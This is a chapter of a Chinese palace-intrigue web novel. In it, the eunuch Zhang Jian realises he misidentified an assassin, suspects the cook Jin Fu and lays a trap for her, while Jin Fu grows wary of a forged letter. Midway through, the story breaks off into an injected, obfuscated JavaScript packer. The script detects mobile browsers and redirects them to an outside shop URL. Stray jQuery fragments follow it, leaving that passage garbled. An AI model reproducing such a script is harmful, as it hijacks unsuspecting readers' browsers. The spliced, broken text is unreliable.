20. 他错了

作品:《公公接招吧

    屠骁只不过是信口胡诌,但章简确是因为干爹有事交代,才不曾随侍左右。


    秋阳惨淡,冷风瑟瑟,这样的风正好可以将他的脑子洗涮干净。


    他一边信步往药局走去,一边思忖着与昭仪娘娘的对话。


    按计划,自己此刻本应留在守静宫。


    “我从吕自安那里得了消息,当日白司药给我姐姐的安胎药有问题。我打算去药局一探究竟。”这话是万昭仪之前与他说的。


    她早在收到请帖的时候,便定下了一个“绝妙”的计划。


    章简没有出声,静候她的解释。


    他知道,这样年纪的少女,面对一个信任的人,总是憋不住话的。


    果然,她得意洋洋地将计划和盘托出。


    “海棠苑的雅集,必定有人要生事。与其静观其变,不如主动出击、以攻为守。到时,我会自己跳进水里,闹出足够大的动静,引开所有人的注意。而后寻个僻静处上岸,潜去药局查探。”


    她故意挑着眼尾、勾着唇角看向他,眼神满是亲近和讨好,几乎快要瞧不出先前那种厌恶和防备了。


    “元鸣会引着众人往反方向搜寻,还请你在守静宫等我。待有人问起,你只说是在回来路上撞见了我,将我带回,为我作证便可。”


    章简垂下眼睑,不说应也不说不应,无甚情绪地赞道:“娘娘好计谋。”


    对方压低了声音,循循善诱道:“此计不光是为了我,还是为了你。”


    章简眼皮微动,虚心道:“哦?请娘娘解惑。”


    她勾勾手指,待他附耳上前,才好心解释。


    “如今宫苑安防、宴饮诸事,都是安都知所辖。聚会上出了谋害宫妃的乱子,这顶帽子扣下去,他还能坐得稳吗?”


    前些时日,常派借刺客一事大肆发难,将宫苑安防的差事揽了过去,她口中的“安都知”,正是常怀德的义子安奎。


    宫苑修缮、安防戒备一差历来油水丰厚。


    一块砖值五两还是十两,不都是被踩在脚下的贱命,对主子们而言又有什么分别?


    她轻言曼语,耐心哄道:“真能将安都知拉下来,在章伴面前岂不是大功一件?”


    章简的心弦狠狠动了一下。


    不得不承认,她说的每一个字都十分动听。


    他太了解后宫的女人们了。


    现在已使过了一招“装神弄鬼”,接下来该是“挑拨离间”才是。


    不论哪招,左右不过是捕风捉影、小打小闹,伤不到根本。


    可有娘娘落水,却是一桩紧要的大事。


    万昭仪的身板不似常人,想来是冻不死的,或许,真能借机将安奎拉下来呢?


    他心中百转千回,面上仍是不显,假意劝道:“此举太冒险了,娘娘千金之躯,万一出了意外,臣可万死莫辞了。”


    “我水性很好,不必担心。”她摆摆手,笑道,“以身入局,胜算在我。”


    章简看着她那双燃烧着火焰的眼睛,也渐渐露出激动的神情,重重颔首。


    “好!”


    然而,当目送着屠骁和元鸣离开守静宫,章简便瞬间褪去笑容,沉吟片刻,转身吩咐。


    “去药局后院守着。若有可疑人等私下会面,立刻擒来。”


    廊下,赫然立着六道影子。


    他们不知何时进的侧院,也不知道在那里立了多久,六道影子与廊柱的阴影叠在一处,竟像天生就长在那里一样。


    仔细看去,才发现他们均着褚色黄门太监服制,却是窄袖短杉,在脚腕处缠着腿绷。


    为首那人没有动,略带迟疑地看着章简。


    他们本是听从章怀恩差遣,此刻不动,只是想知道这究竟是章怀恩的意思,还是章简的意思。


    章简知道他们心有顾虑,不敢妄动,但自己立功心切,也顾不得解释许多,便微眯双目,冷声道:“一应后果由我担着,你们怕什么?”


    紧接着又嘱咐了一句:“不论何人,立刻擒来。”


    他还不能十成十确认那人是金拂,或许还可能有别人呢?


    几人见他已面露不虞,赶忙应下:“是。”


    只要有了章简这句话,他们便不会再有任何顾忌。


    他们的武功很高,自信足以对付宫里任何一个人,哪怕对方是禁军高手,是天潢贵胄,是帝王宠妃。


    六道身影再度融入宫墙的阴影里,向药局的方向飞快掠去。


    章简没有留在守静宫。


    他当然不会乖乖听从万昭仪的吩咐,他有自己的安排。


    几日前,干爹来了信,信上说了两件事:一是官家即将起驾回銮,命他做好安排。


    这消息固然重要,但并不值得干爹特意送信回来。


    重要的是第二件事。


    虽言语寥寥,却叫章简如坠冰窟——


    半个月前,西铁镖局的总镖头肖猛路过青塘城,为了争抢伶人,与人动起手来,对方将肖猛打伤后逃之夭夭。


    肖猛武功高强,本不至于因这点伤就丧命,奈何他仇家遍地,有人趁他受伤之际暗下杀手,结果了他的性命。


    西铁镖局震怒,已对江湖各派下了追杀令,誓要将打伤肖猛那人抓住。


    而那人,正是十三刀。


    既然章怀恩说是“十三刀”,那便一定是十三刀。


    他非但对于宫中的一举一动了如指掌,甚至对江湖上的消息也十分灵通,不论发生了什么,他不出半日一定能得知消息。


    而且那消息一定不会有假。


    青塘城在边关,距京师路途遥遥,快马加鞭、不眠不休也要八九日才能到。


    十三刀无论如何也不可能在与人动手后,又立刻出现在大内行刺。


    所以,那夜的刺客压根不是十三刀!


    干爹言辞平实,没有半句责备。


    可越是如此,章简越发感到彻骨的寒意,仿佛干爹正透过信纸冷冷逼视着他。


    是你的错!


    是你认错了人!


    章简的背瞬间沁满了汗。


    既然开头错了,之后所有的推断岂不都成了笑话?


    那个刺客或许有几分武功,但当时的情形,她多半只是在虚张声势,借十三刀的名头吓退自己。


    她的武功很可能远在自己之下,甚至,她压根没有能力逃出禁军的重重包围。


    一个念头在他脑中炸开——


    或许,那刺客根本没有逃走。


    她还在宫里!


    大隐隐于市,人最多的地方,岂不正是最安全的地方?


    章简任权都知三年,对宫中各处人手了如指掌,一旦想通关窍,便飞动脑中念头,将所有可疑的人一一筛过。


    很快,一个名字浮现出来——


    金拂。


    此女是膳房新来的厨娘,他还曾向她讨要过香囊配方。


    她本是京城人士,幼时随祖母定居江宁,后四处游历,两年前才回到京城。


    本朝厨娘备受追捧,凡官宦富贵人家,皆以厨娘侍奉为荣,不惜豪掷千金只为求一名厨。


    金拂厨艺精湛,尤擅南北各色果子点心,虽不曾抛头露面,却被京中不少高门大户奉为座上宾。


    更有齐王殷炀在背后一力举荐,上下请托,将她送进了尚食局。


    据说她最拿手的果子,便是江宁的鸭油酥。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073766|194110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    章简曾尝过一次,就连他这样不重口腹之欲的人都觉得齿颊留香。


    而他初见万昭仪那日,万昭仪便提到了鸭油酥。


    世上绝没有这样巧合的事。


    江宁离楚州很近,万昭仪是楚州人,或许她与金拂早就认识。而金拂游历四方,绝不可能没有功夫傍身。


    正猜疑之际,他便听闻京中有人悄悄打探一个名叫“白霜”的女子,只道那人是宫里司药的妹妹。


    章简对宫人的家世背景清清楚楚,那死掉的白司药哪里来的什么妹妹?


    倒是宁妃娘家的族弟,有个叫白霜的妾室,不过是姓白罢了,与白司药扯不上丝毫干系。


    章简立刻料定,这是有人在为万昭仪打探消息。


    且打探的还是个假消息。


    于是,他便顺水推舟,在药局的籍册里做了手脚,故意撕掉了一页。


    果然,有人上钩了。


    章简不由地冷笑,又不由地得意。


    能入宫的女人,怎么可能会是单纯的人?


    万昭仪长得纯良质朴,说话可并不老实。什么从吕自安那里探听来的消息?


    笑话!


    吕自安与她才认识多久?


    不过一面之缘,怎么可能就死心塌地为她打探消息?真正帮她打探消息的,分明就是这个金拂!


    正好,万昭仪主动提出要“以身入局”,前去药局一探究竟,这简直是送上门来的机会。


    若能将金拂与万昭仪的会面抓个现行……


    到那时,不但能抓获刺客,万昭仪的把柄也落在了他的手中。


    有把柄在手,而后再以利诱之,将她彻底拉拢到自己身边,何愁她不言听计从?


    甚至于,连背后的齐王都能牵扯进来!


    念及此,章简的呼吸都轻快了几分,仿佛当真瞧见了自己运筹帷幄、玩弄众人于股掌之中的风光场面。


    钻营算计的人总是自傲的,他们常常以为自己是这世间最聪明的人。若这人还有一身好功夫,这种自傲就会变成目空一切的自负。


    章简正是这样的人。


    可惜他算来算去,漏算了一点——万昭仪并非寻常女子。


    他更想不到,万昭仪本就不是万昭仪。


    开头错了,只能一错再错。


    -


    不对劲。


    信是守静宫的人送来的,约在药局会面,有要紧事情相商。


    信上的字迹是屠骁的,语气也是。就连那简短急促的行文风格,都与屠骁如出一辙。


    一切看起来都那么合理,可金拂却觉得不对劲。


    屠骁是何等的性子?


    她对章氏父子的恨意深入骨髓,却从不将这仇恨宣之于口。


    因为她坚信恨是不能外泄的,只有闷在胸中、压在心底,才能让这恨酿得更加毒辣、更加浓厚、更加厉害。


    她全凭一腔压抑的恨意活到今日,又怎么会在信中明确提及章简的名字?


    况且,如今想来,查探消息的过程未免也太顺利了些。


    金拂自诩见多识广,又在高门大户见惯了勾心斗角、阴谋诡计,她瞬间想通,这很可能是一场骗局。


    要么,这封信本就有古怪;


    要么,就是屠骁在用这种反常告诉她,她们已经被人盯上了。


    以屠骁的为人,即便真有万分紧急的情况,只会狠下心与自己割席断交。


    宁可决绝赴死也绝不会牵连朋友的人,又怎么会在此时冒险约见?


    金拂将那张薄薄的信纸扔到炉膛里,看着它慢慢卷曲、变黑,最终化为一撮灰烬。


    而后提起一盒果子,款步离开了膳房。